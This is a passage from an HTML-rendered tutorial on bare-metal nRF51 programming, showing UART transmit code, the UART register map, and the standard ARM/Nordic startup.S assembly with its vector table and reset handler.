class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">tx_byte</span><span class="params">(NRF_UART_Type * p_uart, <span class="type">uart_control_block_t</span> * p_cb)</span></span><br><span class="line">{</span><br><span class="line"> nrf_uart_event_clear(p_uart, NRF_UART_EVENT_TXDRDY);</span><br><span class="line"> <span class="type">uint8_t</span> txd = p_cb->p_tx_buffer[p_cb->tx_counter];</span><br><span class="line"> p_cb->tx_counter++;</span><br><span class="line"> nrf_uart_txd_set(p_uart, txd);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">NRF_STATIC_INLINE <span class="type">void</span> <span class="title function_">nrf_uart_txd_set</span><span class="params">(NRF_UART_Type * p_reg, <span class="type">uint8_t</span> txd)</span></span><br><span class="line">{</span><br><span class="line"> p_reg->TXD = txd;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Base and registers addresses were defined in <em>nrf51.h</em>.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> {</span> <span class="comment">/*!< (@ 0x40002000) UART0 Structure */</span></span><br><span class="line"> __OM <span class="type">uint32_t</span> TASKS_STARTRX; <span class="comment">/*!< (@ 0x00000000) Start UART receiver. */</span></span><br><span class="line"> __OM <span class="type">uint32_t</span> TASKS_STOPRX; <span class="comment">/*!< (@ 0x00000004) Stop UART receiver. */</span></span><br><span class="line"> __OM <span class="type">uint32_t</span> TASKS_STARTTX; <span class="comment">/*!< (@ 0x00000008) Start UART transmitter. */</span></span><br><span class="line"> __OM <span class="type">uint32_t</span> TASKS_STOPTX; <span class="comment">/*!< (@ 0x0000000C) Stop UART transmitter. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED[<span class="number">3</span>];</span><br><span class="line"> __OM <span class="type">uint32_t</span> TASKS_SUSPEND; <span class="comment">/*!< (@ 0x0000001C) Suspend UART. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED1[<span class="number">56</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_CTS; <span class="comment">/*!< (@ 0x00000100) CTS activated. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_NCTS; <span class="comment">/*!< (@ 0x00000104) CTS deactivated. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_RXDRDY; <span class="comment">/*!< (@ 0x00000108) Data received in RXD. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED2[<span class="number">4</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_TXDRDY; <span class="comment">/*!< (@ 0x0000011C) Data sent from TXD. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED3;</span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_ERROR; <span class="comment">/*!< (@ 0x00000124) Error detected. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED4[<span class="number">7</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> EVENTS_RXTO; <span class="comment">/*!< (@ 0x00000144) Receiver timeout. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED5[<span class="number">46</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> SHORTS; <span class="comment">/*!< (@ 0x00000200) Shortcuts for UART. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED6[<span class="number">64</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> INTENSET; <span class="comment">/*!< (@ 0x00000304) Interrupt enable set register. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> INTENCLR; <span class="comment">/*!< (@ 0x00000308) Interrupt enable clear register. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED7[<span class="number">93</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> ERRORSRC; <span class="comment">/*!< (@ 0x00000480) Error source. Write error field to 1 to clear</span></span><br><span class="line"><span class="comment"> error. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED8[<span class="number">31</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> ENABLE; <span class="comment">/*!< (@ 0x00000500) Enable UART and acquire IOs. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED9;</span><br><span class="line"> __IOM <span class="type">uint32_t</span> PSELRTS; <span class="comment">/*!< (@ 0x00000508) Pin select for RTS. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> PSELTXD; <span class="comment">/*!< (@ 0x0000050C) Pin select for TXD. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> PSELCTS; <span class="comment">/*!< (@ 0x00000510) Pin select for CTS. */</span></span><br><span class="line"> __IOM <span class="type">uint32_t</span> PSELRXD; <span class="comment">/*!< (@ 0x00000514) Pin select for RXD. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RXD; <span class="comment">/*!< (@ 0x00000518) RXD register. On read action the buffer pointer</span></span><br><span class="line"><span class="comment"> is displaced. Once read the character is</span></span><br><span class="line"><span class="comment"> consumed. If read when no character available,</span></span><br><span class="line"><span class="comment"> the UART will stop working. */</span></span><br><span class="line"> __OM <span class="type">uint32_t</span> TXD; <span class="comment">/*!< (@ 0x0000051C) TXD register. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED10;</span><br><span class="line"> __IOM <span class="type">uint32_t</span> BAUDRATE; <span class="comment">/*!< (@ 0x00000524) UART Baudrate. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED11[<span class="number">17</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> CONFIG; <span class="comment">/*!< (@ 0x0000056C) Configuration of parity and hardware flow control</span></span><br><span class="line"><span class="comment"> register. */</span></span><br><span class="line"> __IM <span class="type">uint32_t</span> RESERVED12[<span class="number">675</span>];</span><br><span class="line"> __IOM <span class="type">uint32_t</span> POWER; <span class="comment">/*!< (@ 0x00000FFC) Peripheral power control. */</span></span><br><span class="line">} NRF_UART_Type; <span class="comment">/*!< Size = 4096 (0x1000) */</span></span><br></pre></td></tr></tbody></table></figure><h2 id="run-a-helloworld.c">Run a <code>helloworld.c</code></h2><h3 id="initialize">Initialize</h3><p>Before executing the program, we need to initialize memory spacesatisfying the ARMv6-M architecture.<a href="#fn2" class="footnote-ref" id="fnref2" role="doc-noteref"><sup>2</sup></a></p><p><strong>Includes</strong>:</p><p> Stack Definition, Heap Definition, Interrupt Vector Table, ResetHandler, Entry point and prepare <code>.data</code>,<code>.bss</code>.</p><p>For GCC compiler, the library provides a <code>startup.S</code>.</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br></pre></td><td class="code"><pre><span class="line">/*</span><br><span class="line"> </span><br><span class="line">Copyright (c) 2009-2025 ARM Limited. All rights reserved.</span><br><span class="line"></span><br><span class="line"> SPDX-License-Identifier: Apache-2.0</span><br><span class="line"></span><br><span class="line">Licensed under the Apache License, Version 2.0 (the License); you may</span><br><span class="line">not use this file except in compliance with the License.</span><br><span class="line">You may obtain a copy of the License at</span><br><span class="line"></span><br><span class="line"> www.apache.org/licenses/LICENSE-2.0</span><br><span class="line"></span><br><span class="line">Unless required by applicable law or agreed to in writing, software</span><br><span class="line">distributed under the License is distributed on an AS IS BASIS, WITHOUT</span><br><span class="line">WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span><br><span class="line">See the License for the specific language governing permissions and</span><br><span class="line">limitations under the License.</span><br><span class="line"></span><br><span class="line">NOTICE: This file has been modified by Nordic Semiconductor ASA.</span><br><span class="line"></span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line"> .syntax unified</span><br><span class="line"> .arch armv6-m</span><br><span class="line"></span><br><span class="line">#ifdef __STARTUP_CONFIG</span><br><span class="line">#include "startup_config.h"</span><br><span class="line">#ifndef __STARTUP_CONFIG_STACK_ALIGNEMENT</span><br><span class="line">#define __STARTUP_CONFIG_STACK_ALIGNEMENT 3</span><br><span class="line">#endif</span><br><span class="line">#endif</span><br><span class="line"></span><br><span class="line"> .section .stack</span><br><span class="line">#if defined(__STARTUP_CONFIG)</span><br><span class="line"> .align __STARTUP_CONFIG_STACK_ALIGNEMENT</span><br><span class="line"> .equ Stack_Size, __STARTUP_CONFIG_STACK_SIZE</span><br><span class="line">#elif defined(__STACK_SIZE)</span><br><span class="line"> .align 3</span><br><span class="line"> .equ Stack_Size, __STACK_SIZE</span><br><span class="line">#else</span><br><span class="line"> .align 3</span><br><span class="line"> .equ Stack_Size, 2048</span><br><span class="line">#endif</span><br><span class="line"> .globl __StackTop</span><br><span class="line"> .globl __StackLimit</span><br><span class="line">__StackLimit:</span><br><span class="line"> .space Stack_Size</span><br><span class="line"> .size __StackLimit, . - __StackLimit</span><br><span class="line">__StackTop:</span><br><span class="line"> .size __StackTop, . - __StackTop</span><br><span class="line"></span><br><span class="line"> .section .heap</span><br><span class="line"> .align 3</span><br><span class="line">#if defined(__STARTUP_CONFIG)</span><br><span class="line"> .equ Heap_Size, __STARTUP_CONFIG_HEAP_SIZE</span><br><span class="line">#elif defined(__HEAP_SIZE)</span><br><span class="line"> .equ Heap_Size, __HEAP_SIZE</span><br><span class="line">#else</span><br><span class="line"> .equ Heap_Size, 2048</span><br><span class="line">#endif</span><br><span class="line"> .globl __HeapBase</span><br><span class="line"> .globl __HeapLimit</span><br><span class="line">__HeapBase:</span><br><span class="line"> .if Heap_Size</span><br><span class="line"> .space Heap_Size</span><br><span class="line"> .endif</span><br><span class="line"> .size __HeapBase, . - __HeapBase</span><br><span class="line">__HeapLimit:</span><br><span class="line"> .size __HeapLimit, . - __HeapLimit</span><br><span class="line"></span><br><span class="line"> .section .isr_vector, "ax"</span><br><span class="line"> .align 2</span><br><span class="line"> .globl __isr_vector</span><br><span class="line">__isr_vector:</span><br><span class="line"> .long __StackTop /* Top of Stack */</span><br><span class="line"> .long Reset_Handler</span><br><span class="line"> .long NMI_Handler</span><br><span class="line"> .long HardFault_Handler</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long SVC_Handler</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long PendSV_Handler</span><br><span class="line"> .long SysTick_Handler</span><br><span class="line"></span><br><span class="line"> /* External Interrupts */</span><br><span class="line"> .long POWER_CLOCK_IRQHandler</span><br><span class="line"> .long RADIO_IRQHandler</span><br><span class="line"> .long UART0_IRQHandler</span><br><span class="line"> .long SPI0_TWI0_IRQHandler</span><br><span class="line"> .long SPI1_TWI1_IRQHandler</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long GPIOTE_IRQHandler</span><br><span class="line"> .long ADC_IRQHandler</span><br><span class="line"> .long TIMER0_IRQHandler</span><br><span class="line"> .long TIMER1_IRQHandler</span><br><span class="line"> .long TIMER2_IRQHandler</span><br><span class="line"> .long RTC0_IRQHandler</span><br><span class="line"> .long TEMP_IRQHandler</span><br><span class="line"> .long RNG_IRQHandler</span><br><span class="line"> .long ECB_IRQHandler</span><br><span class="line"> .long CCM_AAR_IRQHandler</span><br><span class="line"> .long WDT_IRQHandler</span><br><span class="line"> .long RTC1_IRQHandler</span><br><span class="line"> .long QDEC_IRQHandler</span><br><span class="line"> .long LPCOMP_IRQHandler</span><br><span class="line"> .long SWI0_IRQHandler</span><br><span class="line"> .long SWI1_IRQHandler</span><br><span class="line"> .long SWI2_IRQHandler</span><br><span class="line"> .long SWI3_IRQHandler</span><br><span class="line"> .long SWI4_IRQHandler</span><br><span class="line"> .long SWI5_IRQHandler</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"> .long 0 /*Reserved */</span><br><span class="line"></span><br><span class="line"> .size __isr_vector, . - __isr_vector</span><br><span class="line"></span><br><span class="line">/* Reset Handler */</span><br><span class="line"></span><br><span class="line"> .equ NRF_POWER_RAMON_ADDRESS, 0x40000524</span><br><span class="line"> .equ NRF_POWER_RAMONB_ADDRESS, 0x40000554</span><br><span class="line"> .equ NRF_POWER_RAMONx_RAMxON_ONMODE_Msk, 0x3</span><br><span class="line"></span><br><span class="line"> .text</span><br><span class="line"> .thumb</span><br><span class="line"> .thumb_func</span><br><span class="line"> .align 1</span><br><span class="line"> .globl Reset_Handler</span><br><span class="line"> .type Reset_Handler, %function</span><br><span class="line">Reset_Handler:</span><br><span class="line"></span><br><span class="line"> MOVS R1, #NRF_POWER_RAMONx_RAMxON_ONMODE_Msk</span><br><span class="line"> </span><br><span class="line"> LDR R0, =NRF_POWER_RAMON_ADDRESS</span><br><span class="line"> LDR R2, [R0]</span><br><span class="line"> ORRS R2, R1</span><br><span class="line"> STR R2, [R0]</span><br><span class="line"></span><br><span class="line"> LDR R0, =NRF_POWER_RAMONB_ADDRESS</span><br><span class="line"> LDR R2, [R0]</span><br><span class="line"> ORRS R2, R1</span><br><span class="line"> STR R2, [R0]</span><br><span class="line"></span><br><span class="line">/* Loop to copy data from read only memory to RAM.</span><br><span class="line"> * The ranges of copy from/to are specified by following symbols:</span><br><span class="line"> * __etext: LMA of start of the section to copy from. Usually end of text</span><br><span class="line"> * __data_start: VMA of start of the section to copy to.</span><br><span class="line"> * __data_end: VMA of end of the section to copy to. </span><br><span class="line"> *</span><br><span class="line"> * All addresses must be aligned to 4 bytes boundary.</span><br><span class="line"> */</span><br><span class="line">#ifndef __STARTUP_SKIP_ETEXT</span><br><span class="line"></span><br><span class="line">/* Load .data */</span><br><span class="line"> ldr r1, =__data_start</span><br><span class="line"> ldr r2, =__data_end</span><br><span class="line"> ldr r3, =__data_load_start</span><br><span class="line"> bl copy_region</span><br><span class="line"></span><br><span class="line">/* Load .sdata */</span><br><span class="line"> ldr r1, =__sdata_start</span><br><span class="line"> ldr r2, =__sdata_end</span><br><span class="line"> ldr r3, =__sdata_load_start</span><br><span class="line"> bl copy_region</span><br><span class="line"></span><br><span class="line">/* Load .tdata */</span><br><span class="line"> ldr r1, =__tdata_start</span><br><span class="line"> ldr r2, =__tdata_end</span><br><span class="line"> ldr r3, =__tdata_load_start</span><br><span class="line"> bl copy_region</span><br><span class="line"></span><br><span class="line">/* Load .fast */</span><br><span class="line"> ldr r1, =__fast_start</span><br><span class="line"> ldr r2, =__fast_end</span><br><span class="line"> ldr r3, =__fast_load_start</span><br><span class="line"> bl copy_region</span><br><span class="line"></span><br><span class="line"> b copy_etext_done</span><br><span class="line"></span><br><span class="line">/* Method that loads data from nvm to ram */</span><br><span class="line">copy_region:</span><br><span class="line"> subs r2, r2, r1</span><br><span class="line"> ble L_copy_region_done</span><br><span class="line"></span><br><span class="line">L_copy_region:</span><br><span class="line"> subs r2, r2, #4</span><br><span class="line"> ldr r0, [r3,r2]</span><br><span class="line"> str r0, [r1,r2]</span><br><span class="line"> bgt L_copy_region</span><br><span class="line"></span><br><span class="line">L_copy_region_done:</span><br><span class="line"></span><br><span class="line"> bx lr</span><br><span class="line"></span><br><span class="line">copy_etext_done:</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#endif</span><br><span class="line"></span><br><span class="line">/* This part of work usually is done in C library startup code. Otherwise,</span><br><span class="line"> * define __STARTUP_CLEAR_BSS to enable it in this startup. This section</span><br><span class="line"> * clears the RAM where BSS data is located.</span><br><span class="line"> *</span><br><span class="line"> * The BSS section is specified by following symbols</span><br><span class="line"> * __bss_start__: start of the BSS section.</span><br><span class="line"> * __bss_end__: end of the BSS section.</span><br><span class="line"> *</span><br><span class="line"> * All addresses must be aligned to 4 bytes boundary.</span><br><span class="line"> */</span><br><span class="line">#ifdef __STARTUP_CLEAR_BSS</span><br><span class="line"> ldr r1, =__bss_start__</span><br><span class="line"> ldr r2, =__bss_end__</span><br><span class="line"> bl clear_region</span><br><span class="line"></span><br><span class="line"> ldr r1, =__tbss_start__</span><br><span class="line"> ldr r2, =__tbss_end__</span><br><span class="line"> bl clear_region</span><br><span class="line"></span><br><span class="line"> ldr r1, =__sbss_start__</span><br><span class="line"> ldr r2, =__sbss_end__</span><br><span class="line"> bl clear_region</span><br><span class="line"></span><br><span class="line"> b clear_bss_done</span><br><span class="line"></span><br><span class="line">/* Method that clears default-0 registers */</span><br><span class="line">clear_region:</span><br><span class="line"> movs r0, 0</span><br><span class="line"></span><br><span class="line"> subs r2, r2, r1</span><br><span class="line"> ble .L_clear_region_done</span><br><span class="line"></span><br><span class="line">.L_clear_region:</span><br><span class="line"> subs r2, r2, #4</span><br><span class="line"> str r0, [r1, r2]</span><br><span class="line"> bgt .L_clear_region</span><br><span class="line"></span><br><span class="line">.L_clear_region_done:</span><br><span class="line"></span><br><span class="line"> bx lr</span><br><span class="line"></span><br><span class="line">clear_bss_done:</span><br><span class="line"></span><br><span class="line">#endif /* __STARTUP_CLEAR_BSS */</span><br><span class="line"></span><br><span class="line">/* Execute SystemInit function. */</span><br><span class="line"> bl SystemInit</span><br><span class="line"></span><br><span class="line">/* Call _start function provided by libraries.</span><br><span class="line"> * If those libraries are not accessible, define __START as your entry point.</span><br><span class="line"> */</span><br><span class="line">#ifndef __START</span><br><span class="line">#define __START _start</span><br><span class="line">#endif</span><br><span class="line"> bl __START</span><br><span class="line"></span><br><span class="line"> .pool</span><br><span class="line"> .size Reset_Handler,.-Reset_Handler</span><br><span class="line"></span><br><span class="line"> .section ".text"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">/* Dummy Exception Handlers (infinite loops which can be modified) */</span><br><span class="line"></span><br><span class="line"> .weak NMI_Handler</span><br><span class="line"> .type NMI_Handler, %function</span><br><span class="line">NMI_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size NMI_Handler, . - NMI_Handler</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> .weak HardFault_Handler</span><br><span class="line"> .type HardFault_Handler, %function</span><br><span class="line">HardFault_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size HardFault_Handler, . - HardFault_Handler</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> .weak SVC_Handler</span><br><span class="line"> .type SVC_Handler, %function</span><br><span class="line">SVC_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size SVC_Handler, . - SVC_Handler</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> .weak PendSV_Handler</span><br><span class="line"> .type PendSV_Handler, %function</span><br><span class="line">PendSV_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size PendSV_Handler, . - PendSV_Handler</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> .weak SysTick_Handler</span><br><span class="line"> .type SysTick_Handler, %function</span><br><span class="line">SysTick_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size SysTick_Handler, . - SysTick_Handler</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">/* IRQ Handlers */</span><br><span class="line"></span><br><span class="line"> .globl Default_Handler</span><br><span class="line"> .type Default_Handler, %function</span><br><span class="line">Default_Handler:</span><br><span class="line"> b .</span><br><span class="line"> .size Default_Handler, . - Default_Handler</span><br><span class="line"></span><br><span class="line"> .macro IRQ handler</span><br><span class="line"> .weak \handler</span><br><span class="line"> .set \handler, Default_Handler</span><br><span class="line"> .endm</span><br><span class="line"></span><br><span class="line"> IRQ POWER_CLOCK_IRQHandler</span><br><span class="line"> IRQ RADIO_IRQHandler</span><br><span class="line"> IRQ UART0_IRQHandler</span><br><span class="line"> IRQ SPI0_TWI0_IRQHandler</span><br><span class="line"> IRQ SPI1_TWI1_IRQHandler</span><br><span class="line"> IRQ GPIOTE_IRQHandler</span><br><span class="line"> IRQ ADC_IRQHandler</span><br><span class="line"> IRQ TIMER0_IRQHandler</span><br><span class="line"> IRQ TIMER1_IRQHandler</span><br><span class="line"> IRQ TIMER2_IRQHandler</span><br><span class="line"> IRQ RTC0_IRQHandler</span><br><span class="line"> IRQ TEMP_IRQHandler</span><br><span class="line"> IRQ RNG_IRQHandler</span><br><span class="line"> IRQ ECB_IRQHandler</span><br><span class="line"> IRQ CCM_AAR_IRQHandler</span><br><span class="line"> IRQ WDT_IRQHandler</span><br><span class="line"> IRQ RTC1_IRQHandler</span><br><span class="line"> IRQ QDEC_IRQHandler</span><br><span class="line"> IRQ LPCOMP_IRQHandler</span><br><span class="line"> IRQ SWI0_IRQHandler</span><br><span class="line"> IRQ SWI1_IRQHandler</span><br><span class="line"> IRQ SWI2_IRQHandler</span><br><span class="line"> IRQ SWI3_IRQHandler</span><br><span class="line"> IRQ SWI4_IRQHandler</span><br><span class="line"> IRQ SWI5_IRQHandler</span><br><span class="line"></span><br><span class="line"> .end</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>All the symbol above would be defined at a linker script(.ld).</p><h3 